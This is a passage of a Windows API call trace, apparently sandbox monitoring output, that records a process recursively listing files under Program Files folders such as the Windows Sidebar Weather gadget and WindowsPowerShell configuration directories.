lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c02035, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88e0 [0061.337] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c02035, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.337] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="localizedSettings.css", cAlternateFileName="")) returned 1 [0061.337] GetLastError () returned 0x12 [0061.337] FindClose (in: hFindFile=0x4d88e0 | out: hFindFile=0x4d88e0) returned 1 [0061.338] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3830088 | out: hHeap=0xab0000) returned 1 [0061.338] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0061.338] GetLastError () returned 0x12 [0061.338] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\*" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\js\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c02035, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88e0 [0061.338] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c02035, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.338] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x71c, dwReserved0=0x0, dwReserved1=0x0, cFileName="highDpiImageSwap.js", cAlternateFileName="")) returned 1 [0061.338] GetLastError () returned 0x12 [0061.338] FindClose (in: hFindFile=0x4d88e0 | out: hFindFile=0x4d88e0) returned 1 [0061.338] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3830088 | out: hHeap=0xab0000) returned 1 [0061.338] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x20be, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 1 [0061.338] GetLastError () returned 0x12 [0061.338] FindClose (in: hFindFile=0x4d86a0 | out: hFindFile=0x4d86a0) returned 1 [0061.339] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0061.339] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a61aa77, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x2a61aa77, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x2a640bd5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x32a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0061.339] GetLastError () returned 0x12 [0061.339] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\*" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8052fafa, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8052fafa, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8820 [0061.792] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8052fafa, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8052fafa, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.888] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a640bd5, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x2a640bd5, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x2a640bd5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1456, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.png", cAlternateFileName="")) returned 1 [0061.895] GetLastError () returned 0x12 [0061.916] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\*" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\120dpi\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80555c5a, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80555c5a, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86a0 [0062.042] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80555c5a, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80555c5a, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.042] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37179769, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x37179769, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x37179769, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x28c, dwReserved0=0x0, dwReserved1=0x0, cFileName="(120DPI)alertIcon.png", cAlternateFileName="")) returned 1 [0062.042] GetLastError () returned 0x12 [0062.042] FindClose (in: hFindFile=0x4d86a0 | out: hFindFile=0x4d86a0) returned 1 [0062.043] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3830088 | out: hHeap=0xab0000) returned 1 [0062.043] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8683521a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8683521a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aab74d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="13.png", cAlternateFileName="")) returned 1 [0062.043] GetLastError () returned 0x12 [0062.043] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\*" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\144dpi\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80555c5a, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80555c5a, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86a0 [0062.152] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80555c5a, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80555c5a, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.152] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x371ebb83, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x371ebb83, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x37211ce1, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="(144DPI)alertIcon.png", cAlternateFileName="")) returned 1 [0062.152] GetLastError () returned 0x12 [0062.153] FindClose (in: hFindFile=0x4d86a0 | out: hFindFile=0x4d86a0) returned 1 [0062.153] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3830088 | out: hHeap=0xab0000) returned 1 [0062.153] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8685b377, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8685b377, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aadd637, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="15.png", cAlternateFileName="")) returned 1 [0062.154] GetLastError () returned 0x12 [0064.019] FindClose (in: hFindFile=0x4d8820 | out: hFindFile=0x4d8820) returned 1 [0064.019] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0064.019] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8765739d, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8765739d, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x372d03b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x172a, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0064.019] GetLastError () returned 0x12 [0064.019] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0064.019] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0064.019] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather.Gadget", cAlternateFileName="WEATHE~1.GAD")) returned 0 [0064.019] FindClose (in: hFindFile=0x4d87e0 | out: hFindFile=0x4d87e0) returned 1 [0064.019] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0064.021] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcddc0b90, ftCreationTime.dwHighDateTime=0x1d85cf6, ftLastAccessTime.dwLowDateTime=0x6e3070a0, ftLastAccessTime.dwHighDateTime=0x1d86953, ftLastWriteTime.dwLowDateTime=0x6e3070a0, ftLastWriteTime.dwHighDateTime=0x1d86953, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="high.exe", cAlternateFileName="")) returned 1 [0064.021] GetLastError () returned 0x12 [0064.021] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Shared Gadgets\\*" (normalized: "c:\\program files\\windows sidebar\\shared gadgets\\*"), lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87e0 [0064.021] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.021] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0064.021] FindClose (in: hFindFile=0x4d87e0 | out: hFindFile=0x4d87e0) returned 1 [0064.021] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0064.021] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa896430f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa896430f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa898a46f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x168400, dwReserved0=0x0, dwReserved1=0x0, cFileName="sidebar.exe", cAlternateFileName="")) returned 1 [0064.021] GetLastError () returned 0x12 [0064.022] FindClose (in: hFindFile=0x4d8660 | out: hFindFile=0x4d8660) returned 1 [0064.022] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37c0050 | out: hHeap=0xab0000) returned 1 [0064.022] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0xc6ae4110, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc6ae4110, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 1 [0064.022] GetLastError () returned 0x12 [0064.022] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\*" (normalized: "c:\\program files\\windowspowershell\\*"), lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0xc6ae4110, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc6ae4110, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8660 [0064.022] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0xc6ae4110, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc6ae4110, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.022] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bb8a40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49bb8a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49bb8a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Configuration", cAlternateFileName="CONFIG~1")) returned 1 [0064.022] GetLastError () returned 0x12 [0064.022] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Configuration\\*" (normalized: "c:\\program files\\windowspowershell\\configuration\\*"), lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bb8a40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49bb8a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49bb8a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87e0 [0064.025] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bb8a40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49bb8a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49bb8a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.025] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bb8a40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49bb8a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49bb8a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Registration", cAlternateFileName="REGIST~1")) returned 1 [0064.025] GetLastError () returned 0x12 [0064.025] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Configuration\\Registration\\*" (normalized: "c:\\program files\\windowspowershell\\configuration\\registration\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bb8a40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49bb8a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49bb8a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0064.026] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bb8a40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49bb8a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49bb8a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.026] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bb8a40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49bb8a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49bb8a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0064.026] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0064.026] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0064.026] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bb8a40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49bb8a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49bb8a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Schema", cAlternateFileName="")) returned 1 [0064.026] GetLastError () returned 0x12 [0064.026] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Configuration\\Schema\\*" (normalized: "c:\\program files\\windowspowershell\\configuration\\schema\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bb8a40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49bb8a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49bb8a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0064.029] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bb8a40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49bb8a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49bb8a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.029] FindNextFileW (in: 